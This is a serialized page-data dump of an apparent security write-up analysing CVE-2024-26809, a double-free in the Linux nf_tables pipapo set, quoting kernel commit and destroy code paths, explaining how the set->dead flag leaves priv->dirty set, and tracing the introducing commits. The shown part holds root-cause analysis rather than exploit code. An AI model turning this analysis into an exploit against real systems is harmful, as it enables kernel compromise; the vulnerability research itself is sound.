&",{"type":24,"tag":271,"props":2367,"children":2368},{"style":288},[2369],{"type":29,"value":2370},"set_update_list);\n",{"type":24,"tag":271,"props":2372,"children":2373},{"class":273,"line":420},[2374],{"type":24,"tag":271,"props":2375,"children":2376},{"style":288},[2377],{"type":29,"value":2378}," }\n",{"type":24,"tag":271,"props":2380,"children":2381},{"class":273,"line":429},[2382],{"type":24,"tag":271,"props":2383,"children":2384},{"style":288},[2385],{"type":29,"value":1690},{"type":24,"tag":271,"props":2387,"children":2388},{"class":273,"line":438},[2389],{"type":24,"tag":271,"props":2390,"children":2391},{"style":288},[2392],{"type":29,"value":1163},{"type":24,"tag":271,"props":2394,"children":2395},{"class":273,"line":447},[2396],{"type":24,"tag":271,"props":2397,"children":2398},{"emptyLinePlaceholder":16},[2399],{"type":29,"value":327},{"type":24,"tag":271,"props":2401,"children":2402},{"class":273,"line":455},[2403,2408,2412,2416,2421],{"type":24,"tag":271,"props":2404,"children":2405},{"style":598},[2406],{"type":29,"value":2407}," nft_set_commit_update",{"type":24,"tag":271,"props":2409,"children":2410},{"style":288},[2411],{"type":29,"value":606},{"type":24,"tag":271,"props":2413,"children":2414},{"style":624},[2415],{"type":29,"value":1137},{"type":24,"tag":271,"props":2417,"children":2418},{"style":630},[2419],{"type":29,"value":2420},"set_update_list",{"type":24,"tag":271,"props":2422,"children":2423},{"style":288},[2424],{"type":29,"value":1155},{"type":24,"tag":271,"props":2426,"children":2427},{"class":273,"line":464},[2428],{"type":24,"tag":271,"props":2429,"children":2430},{"style":288},[2431],{"type":29,"value":1690},{"type":24,"tag":271,"props":2433,"children":2434},{"class":273,"line":473},[2435,2440],{"type":24,"tag":271,"props":2436,"children":2437},{"style":598},[2438],{"type":29,"value":2439}," nf_tables_commit_release",{"type":24,"tag":271,"props":2441,"children":2442},{"style":288},[2443],{"type":29,"value":2444},"(net);\n",{"type":24,"tag":271,"props":2446,"children":2447},{"class":273,"line":483},[2448],{"type":24,"tag":271,"props":2449,"children":2450},{"emptyLinePlaceholder":16},[2451],{"type":29,"value":327},{"type":24,"tag":271,"props":2453,"children":2454},{"class":273,"line":491},[2455,2460,2464],{"type":24,"tag":271,"props":2456,"children":2457},{"style":749},[2458],{"type":29,"value":2459}," return",{"type":24,"tag":271,"props":2461,"children":2462},{"style":477},[2463],{"type":29,"value":767},{"type":24,"tag":271,"props":2465,"children":2466},{"style":288},[2467],{"type":29,"value":1069},{"type":24,"tag":271,"props":2469,"children":2470},{"class":273,"line":499},[2471],{"type":24,"tag":271,"props":2472,"children":2473},{"style":288},[2474],{"type":29,"value":1171},{"type":24,"tag":25,"props":2476,"children":2477},{},[2478,2479,2485,2487,2492],{"type":29,"value":1422},{"type":24,"tag":135,"props":2480,"children":2482},{"className":2481},[],[2483],{"type":29,"value":2484},"nft_set_commit_update()",{"type":29,"value":2486}," function in the code above will call the ",{"type":24,"tag":135,"props":2488,"children":2490},{"className":2489},[],[2491],{"type":29,"value":1934},{"type":29,"value":2493}," method for any objects that were marked as pending an update.",{"type":24,"tag":261,"props":2495,"children":2497},{"className":576,"code":2496,"language":578,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[2498],{"type":24,"tag":135,"props":2499,"children":2500},{"__ignoreMap":7},[2501,2541,2548,2577,2584,2597,2629,2636,2699,2710,2717,2751,2758],{"type":24,"tag":271,"props":2502,"children":2503},{"class":273,"line":274},[2504,2508,2512,2516,2520,2524,2529,2533,2537],{"type":24,"tag":271,"props":2505,"children":2506},{"style":278},[2507],{"type":29,"value":590},{"type":24,"tag":271,"props":2509,"children":2510},{"style":278},[2511],{"type":29,"value":595},{"type":24,"tag":271,"props":2513,"children":2514},{"style":598},[2515],{"type":29,"value":2407},{"type":24,"tag":271,"props":2517,"children":2518},{"style":288},[2519],{"type":29,"value":606},{"type":24,"tag":271,"props":2521,"children":2522},{"style":278},[2523],{"type":29,"value":1772},{"type":24,"tag":271,"props":2525,"children":2526},{"style":288},[2527],{"type":29,"value":2528}," list_head ",{"type":24,"tag":271,"props":2530,"children":2531},{"style":624},[2532],{"type":29,"value":627},{"type":24,"tag":271,"props":2534,"children":2535},{"style":630},[2536],{"type":29,"value":2420},{"type":24,"tag":271,"props":2538,"children":2539},{"style":288},[2540],{"type":29,"value":694},{"type":24,"tag":271,"props":2542,"children":2543},{"class":273,"line":284},[2544],{"type":24,"tag":271,"props":2545,"children":2546},{"style":288},[2547],{"type":29,"value":702},{"type":24,"tag":271,"props":2549,"children":2550},{"class":273,"line":294},[2551,2555,2559,2563,2568,2572],{"type":24,"tag":271,"props":2552,"children":2553},{"style":278},[2554],{"type":29,"value":616},{"type":24,"tag":271,"props":2556,"children":2557},{"style":288},[2558],{"type":29,"value":655},{"type":24,"tag":271,"props":2560,"children":2561},{"style":624},[2562],{"type":29,"value":627},{"type":24,"tag":271,"props":2564,"children":2565},{"style":288},[2566],{"type":29,"value":2567},"set, ",{"type":24,"tag":271,"props":2569,"children":2570},{"style":624},[2571],{"type":29,"value":627},{"type":24,"tag":271,"props":2573,"children":2574},{"style":288},[2575],{"type":29,"value":2576},"next;\n",{"type":24,"tag":271,"props":2578,"children":2579},{"class":273,"line":303},[2580],{"type":24,"tag":271,"props":2581,"children":2582},{"emptyLinePlaceholder":16},[2583],{"type":29,"value":327},{"type":24,"tag":271,"props":2585,"children":2586},{"class":273,"line":312},[2587,2592],{"type":24,"tag":271,"props":2588,"children":2589},{"style":598},[2590],{"type":29,"value":2591}," list_for_each_entry_safe",{"type":24,"tag":271,"props":2593,"children":2594},{"style":288},[2595],{"type":29,"value":2596},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":271,"props":2598,"children":2599},{"class":273,"line":321},[2600,2605,2609,2613,2617,2621,2625],{"type":24,"tag":271,"props":2601,"children":2602},{"style":598},[2603],{"type":29,"value":2604}," list_del_init",{"type":24,"tag":271,"props":2606,"children":2607},{"style":288},[2608],{"type":29,"value":606},{"type":24,"tag":271,"props":2610,"children":2611},{"style":624},[2612],{"type":29,"value":1137},{"type":24,"tag":271,"props":2614,"children":2615},{"style":630},[2616],{"type":29,"value":563},{"type":24,"tag":271,"props":2618,"children":2619},{"style":288},[2620],{"type":29,"value":786},{"type":24,"tag":271,"props":2622,"children":2623},{"style":630},[2624],{"type":29,"value":2312},{"type":24,"tag":271,"props":2626,"children":2627},{"style":288},[2628],{"type":29,"value":1155},{"type":24,"tag":271,"props":2630,"children":2631},{"class":273,"line":330},[2632],{"type":24,"tag":271,"props":2633,"children":2634},{"emptyLinePlaceholder":16},[2635],{"type":29,"value":327},{"type":24,"tag":271,"props":2637,"children":2638},{"class":273,"line":339},[2639,2643,2647,2651,2655,2659,2663,2667,2671,2676,2681,2685,2689,2694],{"type":24,"tag":271,"props":2640,"children":2641},{"style":749},[2642],{"type":29,"value":956},{"type":24,"tag":271,"props":2644,"children":2645},{"style":288},[2646],{"type":29,"value":1357},{"type":24,"tag":271,"props":2648,"children":2649},{"style":624},[2650],{"type":29,"value":1818},{"type":24,"tag":271,"props":2652,"children":2653},{"style":630},[2654],{"type":29,"value":563},{"type":24,"tag":271,"props":2656,"children":2657},{"style":288},[2658],{"type":29,"value":786},{"type":24,"tag":271,"props":2660,"children":2661},{"style":630},[2662],{"type":29,"value":2261},{"type":24,"tag":271,"props":2664,"children":2665},{"style":288},[2666],{"type":29,"value":786},{"type":24,"tag":271,"props":2668,"children":2669},{"style":630},[2670],{"type":29,"value":2270},{"type":24,"tag":271,"props":2672,"children":2673},{"style":624},[2674],{"type":29,"value":2675}," ||",{"type":24,"tag":271,"props":2677,"children":2678},{"style":630},[2679],{"type":29,"value":2680}," set",{"type":24,"tag":271,"props":2682,"children":2683},{"style":288},[2684],{"type":29,"value":786},{"type":24,"tag":271,"props":2686,"children":2687},{"style":630},[2688],{"type":29,"value":2079},{"type":24,"tag":271,"props":2690,"children":2691},{"style":288},[2692],{"type":29,"value":2693},")",{"type":24,"tag":271,"props":2695,"children":2696},{"style":2058},[2697],{"type":29,"value":2698}," // [4]\n",{"type":24,"tag":271,"props":2700,"children":2701},{"class":273,"line":347},[2702,2706],{"type":24,"tag":271,"props":2703,"children":2704},{"style":749},[2705],{"type":29,"value":1064},{"type":24,"tag":271,"props":2707,"children":2708},{"style":288},[2709],{"type":29,"value":1069},{"type":24,"tag":271,"props":2711,"children":2712},{"class":273,"line":356},[2713],{"type":24,"tag":271,"props":2714,"children":2715},{"emptyLinePlaceholder":16},[2716],{"type":29,"value":327},{"type":24,"tag":271,"props":2718,"children":2719},{"class":273,"line":365},[2720,2725,2729,2733,2737,2741,2746],{"type":24,"tag":271,"props":2721,"children":2722},{"style":630},[2723],{"type":29,"value":2724}," set",{"type":24,"tag":271,"props":2726,"children":2727},{"style":288},[2728],{"type":29,"value":786},{"type":24,"tag":271,"props":2730,"children":2731},{"style":630},[2732],{"type":29,"value":2261},{"type":24,"tag":271,"props":2734,"children":2735},{"style":288},[2736],{"type":29,"value":786},{"type":24,"tag":271,"props":2738,"children":2739},{"style":598},[2740],{"type":29,"value":2270},{"type":24,"tag":271,"props":2742,"children":2743},{"style":288},[2744],{"type":29,"value":2745},"(set);",{"type":24,"tag":271,"props":2747,"children":2748},{"style":2058},[2749],{"type":29,"value":2750}," // [5]\n",{"type":24,"tag":271,"props":2752,"children":2753},{"class":273,"line":374},[2754],{"type":24,"tag":271,"props":2755,"children":2756},{"style":288},[2757],{"type":29,"value":1163},{"type":24,"tag":271,"props":2759,"children":2760},{"class":273,"line":384},[2761],{"type":24,"tag":271,"props":2762,"children":2763},{"style":288},[2764],{"type":29,"value":1171},{"type":24,"tag":25,"props":2766,"children":2767},{},[2768,2770,2776,2778,2783,2784,2789],{"type":29,"value":2769},"Later on, the ",{"type":24,"tag":135,"props":2771,"children":2773},{"className":2772},[],[2774],{"type":29,"value":2775},"nf_tables_commit_release()",{"type":29,"value":2777}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":135,"props":2779,"children":2781},{"className":2780},[],[2782],{"type":29,"value":563},{"type":29,"value":1928},{"type":24,"tag":135,"props":2785,"children":2787},{"className":2786},[],[2788],{"type":29,"value":1942},{"type":29,"value":2790}," method.",{"type":24,"tag":261,"props":2792,"children":2794},{"className":576,"code":2793,"language":578,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[2795],{"type":24,"tag":135,"props":2796,"children":2797},{"__ignoreMap":7},[2798,2837,2844,2851,2872,2879,2886,2893,2935,2942,2949,2970,2983,2995,3002,3009,3016,3057,3064,3092,3099,3112,3124,3165,3172,3179,3186,3245,3253,3261,3291,3299],{"type":24,"tag":271,"props":2799,"children":2800},{"class":273,"line":274},[2801,2805,2809,2813,2817,2821,2825,2829,2833],{"type":24,"tag":271,"props":2802,"children":2803},{"style":278},[2804],{"type":29,"value":590},{"type":24,"tag":271,"props":2806,"children":2807},{"style":278},[2808],{"type":29,"value":595},{"type":24,"tag":271,"props":2810,"children":2811},{"style":598},[2812],{"type":29,"value":2439},{"type":24,"tag":271,"props":2814,"children":2815},{"style":288},[2816],{"type":29,"value":606},{"type":24,"tag":271,"props":2818,"children":2819},{"style":278},[2820],{"type":29,"value":1772},{"type":24,"tag":271,"props":2822,"children":2823},{"style":288},[2824],{"type":29,"value":1583},{"type":24,"tag":271,"props":2826,"children":2827},{"style":624},[2828],{"type":29,"value":627},{"type":24,"tag":271,"props":2830,"children":2831},{"style":630},[2832],{"type":29,"value":1592},{"type":24,"tag":271,"props":2834,"children":2835},{"style":288},[2836],{"type":29,"value":694},{"type":24,"tag":271,"props":2838,"children":2839},{"class":273,"line":284},[2840],{"type":24,"tag":271,"props":2841,"children":2842},{"style":288},[2843],{"type":29,"value":702},{"type":24,"tag":271,"props":2845,"children":2846},{"class":273,"line":294},[2847],{"type":24,"tag":271,"props":2848,"children":2849},{"style":288},[2850],{"type":29,"value":1690},{"type":24,"tag":271,"props":2852,"children":2853},{"class":273,"line":303},[2854,2859,2863,2867],{"type":24,"tag":271,"props":2855,"children":2856},{"style":598},[2857],{"type":29,"value":2858}," schedule_work",{"type":24,"tag":271,"props":2860,"children":2861},{"style":288},[2862],{"type":29,"value":606},{"type":24,"tag":271,"props":2864,"children":2865},{"style":624},[2866],{"type":29,"value":1137},{"type":24,"tag":271,"props":2868,"children":2869},{"style":288},[2870],{"type":29,"value":2871},"trans_destroy_work);\n",{"type":24,"tag":271,"props":2873,"children":2874},{"class":273,"line":312},[2875],{"type":24,"tag":271,"props":2876,"children":2877},{"style":288},[2878],{"type":29,"value":1690},{"type":24,"tag":271,"props":2880,"children":2881},{"class":273,"line":321},[2882],{"type":24,"tag":271,"props":2883,"children":2884},{"style":288},[2885],{"type":29,"value":1171},{"type":24,"tag":271,"props":2887,"children":2888},{"class":273,"line":330},[2889],{"type":24,"tag":271,"props":2890,"children":2891},{"style":288},[2892],{"type":29,"value":1690},{"type":24,"tag":271,"props":2894,"children":2895},{"class":273,"line":339},[2896,2900,2904,2909,2913,2917,2922,2926,2931],{"type":24,"tag":271,"props":2897,"children":2898},{"style":278},[2899],{"type":29,"value":590},{"type":24,"tag":271,"props":2901,"children":2902},{"style":278},[2903],{"type":29,"value":595},{"type":24,"tag":271,"props":2905,"children":2906},{"style":598},[2907],{"type":29,"value":2908}," nf_tables_trans_destroy_work",{"type":24,"tag":271,"props":2910,"children":2911},{"style":288},[2912],{"type":29,"value":606},{"type":24,"tag":271,"props":2914,"children":2915},{"style":278},[2916],{"type":29,"value":1772},{"type":24,"tag":271,"props":2918,"children":2919},{"style":288},[2920],{"type":29,"value":2921}," work_struct ",{"type":24,"tag":271,"props":2923,"children":2924},{"style":624},[2925],{"type":29,"value":627},{"type":24,"tag":271,"props":2927,"children":2928},{"style":630},[2929],{"type":29,"value":2930},"w",{"type":24,"tag":271,"props":2932,"children":2933},{"style":288},[2934],{"type":29,"value":694},{"type":24,"tag":271,"props":2936,"children":2937},{"class":273,"line":347},[2938],{"type":24,"tag":271,"props":2939,"children":2940},{"style":288},[2941],{"type":29,"value":702},{"type":24,"tag":271,"props":2943,"children":2944},{"class":273,"line":356},[2945],{"type":24,"tag":271,"props":2946,"children":2947},{"style":288},[2948],{"type":29,"value":1690},{"type":24,"tag":271,"props":2950,"children":2951},{"class":273,"line":365},[2952,2956,2961,2965],{"type":24,"tag":271,"props":2953,"children":2954},{"style":598},[2955],{"type":29,"value":2591},{"type":24,"tag":271,"props":2957,"children":2958},{"style":288},[2959],{"type":29,"value":2960},"(trans, next, ",{"type":24,"tag":271,"props":2962,"children":2963},{"style":624},[2964],{"type":29,"value":1137},{"type":24,"tag":271,"props":2966,"children":2967},{"style":288},[2968],{"type":29,"value":2969},"head, list) {\n",{"type":24,"tag":271,"props":2971,"children":2972},{"class":273,"line":374},[2973,2978],{"type":24,"tag":271,"props":2974,"children":2975},{"style":598},[2976],{"type":29,"value":2977}," nft_trans_list_del",{"type":24,"tag":271,"props":2979,"children":2980},{"style":288},[2981],{"type":29,"value":2982},"(trans);\n",{"type":24,"tag":271,"props":2984,"children":2985},{"class":273,"line":384},[2986,2991],{"type":24,"tag":271,"props":2987,"children":2988},{"style":598},[2989],{"type":29,"value":2990}," nft_commit_release",{"type":24,"tag":271,"props":2992,"children":2993},{"style":288},[2994],{"type":29,"value":2982},{"type":24,"tag":271,"props":2996,"children":2997},{"class":273,"line":393},[2998],{"type":24,"tag":271,"props":2999,"children":3000},{"style":288},[3001],{"type":29,"value":1163},{"type":24,"tag":271,"props":3003,"children":3004},{"class":273,"line":402},[3005],{"type":24,"tag":271,"props":3006,"children":3007},{"style":288},[3008],{"type":29,"value":1171},{"type":24,"tag":271,"props":3010,"children":3011},{"class":273,"line":411},[3012],{"type":24,"tag":271,"props":3013,"children":3014},{"style":288},[3015],{"type":29,"value":1690},{"type":24,"tag":271,"props":3017,"children":3018},{"class":273,"line":420},[3019,3023,3027,3032,3036,3040,3045,3049,3053],{"type":24,"tag":271,"props":3020,"children":3021},{"style":278},[3022],{"type":29,"value":590},{"type":24,"tag":271,"props":3024,"children":3025},{"style":278},[3026],{"type":29,"value":595},{"type":24,"tag":271,"props":3028,"children":3029},{"style":598},[3030],{"type":29,"value":3031}," nft_commit_release",{"type":24,"tag":271,"props":3033,"children":3034},{"style":288},[3035],{"type":29,"value":606},{"type":24,"tag":271,"props":3037,"children":3038},{"style":278},[3039],{"type":29,"value":1772},{"type":24,"tag":271,"props":3041,"children":3042},{"style":288},[3043],{"type":29,"value":3044}," nft_trans ",{"type":24,"tag":271,"props":3046,"children":3047},{"style":624},[3048],{"type":29,"value":627},{"type":24,"tag":271,"props":3050,"children":3051},{"style":630},[3052],{"type":29,"value":2152},{"type":24,"tag":271,"props":3054,"children":3055},{"style":288},[3056],{"type":29,"value":694},{"type":24,"tag":271,"props":3058,"children":3059},{"class":273,"line":429},[3060],{"type":24,"tag":271,"props":3061,"children":3062},{"style":288},[3063],{"type":29,"value":702},{"type":24,"tag":271,"props":3065,"children":3066},{"class":273,"line":438},[3067,3072,3076,3080,3084,3088],{"type":24,"tag":271,"props":3068,"children":3069},{"style":749},[3070],{"type":29,"value":3071}," switch",{"type":24,"tag":271,"props":3073,"children":3074},{"style":288},[3075],{"type":29,"value":1357},{"type":24,"tag":271,"props":3077,"children":3078},{"style":630},[3079],{"type":29,"value":2152},{"type":24,"tag":271,"props":3081,"children":3082},{"style":288},[3083],{"type":29,"value":786},{"type":24,"tag":271,"props":3085,"children":3086},{"style":630},[3087],{"type":29,"value":2190},{"type":24,"tag":271,"props":3089,"children":3090},{"style":288},[3091],{"type":29,"value":919},{"type":24,"tag":271,"props":3093,"children":3094},{"class":273,"line":447},[3095],{"type":24,"tag":271,"props":3096,"children":3097},{"style":288},[3098],{"type":29,"value":1690},{"type":24,"tag":271,"props":3100,"children":3101},{"class":273,"line":455},[3102,3107],{"type":24,"tag":271,"props":3103,"children":3104},{"style":749},[3105],{"type":29,"value":3106}," case",{"type":24,"tag":271,"props":3108,"children":3109},{"style":288},[3110],{"type":29,"value":3111}," NFT_MSG_DELSET:\n",{"type":24,"tag":271,"props":3113,"children":3114},{"class":273,"line":464},[3115,3119],{"type":24,"tag":271,"props":3116,"children":3117},{"style":749},[3118],{"type":29,"value":3106},{"type":24,"tag":271,"props":3120,"children":3121},{"style":288},[3122],{"type":29,"value":3123}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":271,"props":3125,"children":3126},{"class":273,"line":473},[3127,3132,3136,3140,3144,3148,3152,3156,3160],{"type":24,"tag":271,"props":3128,"children":3129},{"style":598},[3130],{"type":29,"value":3131}," nft_set_destroy",{"type":24,"tag":271,"props":3133,"children":3134},{"style":288},[3135],{"type":29,"value":606},{"type":24,"tag":271,"props":3137,"children":3138},{"style":624},[3139],{"type":29,"value":1137},{"type":24,"tag":271,"props":3141,"children":3142},{"style":288},[3143],{"type":29,"value":2152},{"type":24,"tag":271,"props":3145,"children":3146},{"style":624},[3147],{"type":29,"value":786},{"type":24,"tag":271,"props":3149,"children":3150},{"style":630},[3151],{"type":29,"value":633},{"type":24,"tag":271,"props":3153,"children":3154},{"style":288},[3155],{"type":29,"value":158},{"type":24,"tag":271,"props":3157,"children":3158},{"style":598},[3159],{"type":29,"value":2118},{"type":24,"tag":271,"props":3161,"children":3162},{"style":288},[3163],{"type":29,"value":3164},"(trans));\n",{"type":24,"tag":271,"props":3166,"children":3167},{"class":273,"line":483},[3168],{"type":24,"tag":271,"props":3169,"children":3170},{"style":288},[3171],{"type":29,"value":1690},{"type":24,"tag":271,"props":3173,"children":3174},{"class":273,"line":491},[3175],{"type":24,"tag":271,"props":3176,"children":3177},{"style":288},[3178],{"type":29,"value":1171},{"type":24,"tag":271,"props":3180,"children":3181},{"class":273,"line":499},[3182],{"type":24,"tag":271,"props":3183,"children":3184},{"style":288},[3185],{"type":29,"value":1690},{"type":24,"tag":271,"props":3187,"children":3189},{"class":273,"line":3188},27,[3190,3194,3198,3203,3207,3211,3215,3219,3223,3228,3232,3236,3240],{"type":24,"tag":271,"props":3191,"children":3192},{"style":278},[3193],{"type":29,"value":590},{"type":24,"tag":271,"props":3195,"children":3196},{"style":278},[3197],{"type":29,"value":595},{"type":24,"tag":271,"props":3199,"children":3200},{"style":598},[3201],{"type":29,"value":3202}," nft_set_destroy",{"type":24,"tag":271,"props":3204,"children":3205},{"style":288},[3206],{"type":29,"value":606},{"type":24,"tag":271,"props":3208,"children":3209},{"style":278},[3210],{"type":29,"value":611},{"type":24,"tag":271,"props":3212,"children":3213},{"style":278},[3214],{"type":29,"value":616},{"type":24,"tag":271,"props":3216,"children":3217},{"style":288},[3218],{"type":29,"value":621},{"type":24,"tag":271,"props":3220,"children":3221},{"style":624},[3222],{"type":29,"value":627},{"type":24,"tag":271,"props":3224,"children":3225},{"style":288},[3226],{"type":29,"value":3227},"ctx, ",{"type":24,"tag":271,"props":3229,"children":3230},{"style":278},[3231],{"type":29,"value":1772},{"type":24,"tag":271,"props":3233,"children":3234},{"style":288},[3235],{"type":29,"value":655},{"type":24,"tag":271,"props":3237,"children":3238},{"style":624},[3239],{"type":29,"value":627},{"type":24,"tag":271,"props":3241,"children":3242},{"style":288},[3243],{"type":29,"value":3244},"set)\n",{"type":24,"tag":271,"props":3246,"children":3248},{"class":273,"line":3247},28,[3249],{"type":24,"tag":271,"props":3250,"children":3251},{"style":288},[3252],{"type":29,"value":702},{"type":24,"tag":271,"props":3254,"children":3256},{"class":273,"line":3255},29,[3257],{"type":24,"tag":271,"props":3258,"children":3259},{"style":288},[3260],{"type":29,"value":1690},{"type":24,"tag":271,"props":3262,"children":3264},{"class":273,"line":3263},30,[3265,3269,3273,3277,3281,3286],{"type":24,"tag":271,"props":3266,"children":3267},{"style":630},[3268],{"type":29,"value":2680},{"type":24,"tag":271,"props":3270,"children":3271},{"style":288},[3272],{"type":29,"value":786},{"type":24,"tag":271,"props":3274,"children":3275},{"style":630},[3276],{"type":29,"value":2261},{"type":24,"tag":271,"props":3278,"children":3279},{"style":288},[3280],{"type":29,"value":786},{"type":24,"tag":271,"props":3282,"children":3283},{"style":598},[3284],{"type":29,"value":3285},"destroy",{"type":24,"tag":271,"props":3287,"children":3288},{"style":288},[3289],{"type":29,"value":3290},"(ctx, set);\n",{"type":24,"tag":271,"props":3292,"children":3294},{"class":273,"line":3293},31,[3295],{"type":24,"tag":271,"props":3296,"children":3297},{"style":288},[3298],{"type":29,"value":1690},{"type":24,"tag":271,"props":3300,"children":3302},{"class":273,"line":3301},32,[3303],{"type":24,"tag":271,"props":3304,"children":3305},{"style":288},[3306],{"type":29,"value":1171},{"type":24,"tag":25,"props":3308,"children":3309},{},[3310,3312,3317,3319,3324,3326,3332,3334,3339,3341,3346,3348,3352,3354,3359,3361,3366,3368,3374],{"type":29,"value":3311},"It may appear as if it would be impossible to make ",{"type":24,"tag":135,"props":3313,"children":3315},{"className":3314},[],[3316],{"type":29,"value":516},{"type":29,"value":3318}," true in the release step because the ",{"type":24,"tag":135,"props":3320,"children":3322},{"className":3321},[],[3323],{"type":29,"value":1934},{"type":29,"value":3325}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":135,"props":3327,"children":3329},{"className":3328},[],[3330],{"type":29,"value":3331},"set->dead",{"type":29,"value":3333}," flag. If a ",{"type":24,"tag":135,"props":3335,"children":3337},{"className":3336},[],[3338],{"type":29,"value":563},{"type":29,"value":3340}," was marked for deletion, it receives the ",{"type":24,"tag":135,"props":3342,"children":3344},{"className":3343},[],[3345],{"type":29,"value":3331},{"type":29,"value":3347}," flag ",{"type":24,"tag":271,"props":3349,"children":3350},{},[3351],{"type":29,"value":165},{"type":29,"value":3353},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":135,"props":3355,"children":3357},{"className":3356},[],[3358],{"type":29,"value":563},{"type":29,"value":3360}," ",{"type":24,"tag":271,"props":3362,"children":3363},{},[3364],{"type":29,"value":3365},"4",{"type":29,"value":3367},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":135,"props":3369,"children":3371},{"className":3370},[],[3372],{"type":29,"value":3373},"priv ->dirty",{"type":29,"value":3375}," flag is not cleared when it should have been.",{"type":24,"tag":62,"props":3377,"children":3379},{"id":3378},"tracing-the-guilty-commit",[3380],{"type":29,"value":3381},"Tracing the guilty commit",{"type":24,"tag":25,"props":3383,"children":3384},{},[3385,3387,3394,3396,3402,3404,3409,3411,3417],{"type":29,"value":3386},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":32,"props":3388,"children":3391},{"href":3389,"rel":3390},"https://ubuntu.com/security/CVE-2024-26809",[36],[3392],{"type":29,"value":3393},"advisories",{"type":29,"value":3395}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":32,"props":3397,"children":3400},{"href":3398,"rel":3399},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[36],[3401],{"type":29,"value":2270},{"type":29,"value":3403},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":135,"props":3405,"children":3407},{"className":3406},[],[3408],{"type":29,"value":3331},{"type":29,"value":3410}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":32,"props":3412,"children":3415},{"href":3413,"rel":3414},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[36],[3416],{"type":29,"value":2270},{"type":29,"value":41},{"type":24,"tag":25,"props":3419,"children":3420},{},[3421],{"type":29,"value":3422},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":261,"props":3424,"children":3428},{"className":3425,"code":3426,"language":3427,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[3429],{"type":24,"tag":135,"props":3430,"children":3431},{"__ignoreMap":7},[3432,3440,3448,3455,3463,3471,3478,3486,3493,3501,3509,3516,3524,3532,3540,3548,3556,3564,3572,3580,3588,3595,3603,3611,3618,3626,3634,3642,3650,3658,3665,3673,3681],{"type":24,"tag":271,"props":3433,"children":3434},{"class":273,"line":274},[3435],{"type":24,"tag":271,"props":3436,"children":3437},{},[3438],{"type":29,"value":3439},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":271,"props":3441,"children":3442},{"class":273,"line":284},[3443],{"type":24,"tag":271,"props":3444,"children":3445},{},[3446],{"type":29,"value":3447},"transaction is aborted.\n",{"type":24,"tag":271,"props":3449,"children":3450},{"class":273,"line":294},[3451],{"type":24,"tag":271,"props":3452,"children":3453},{"emptyLinePlaceholder":16},[3454],{"type":29,"value":327},{"type":24,"tag":271,"props":3456,"children":3457},{"class":273,"line":303},[3458],{"type":24,"tag":271,"props":3459,"children":3460},{},[3461],{"type":29,"value":3462},"[16302.231754] ------------[ cut here 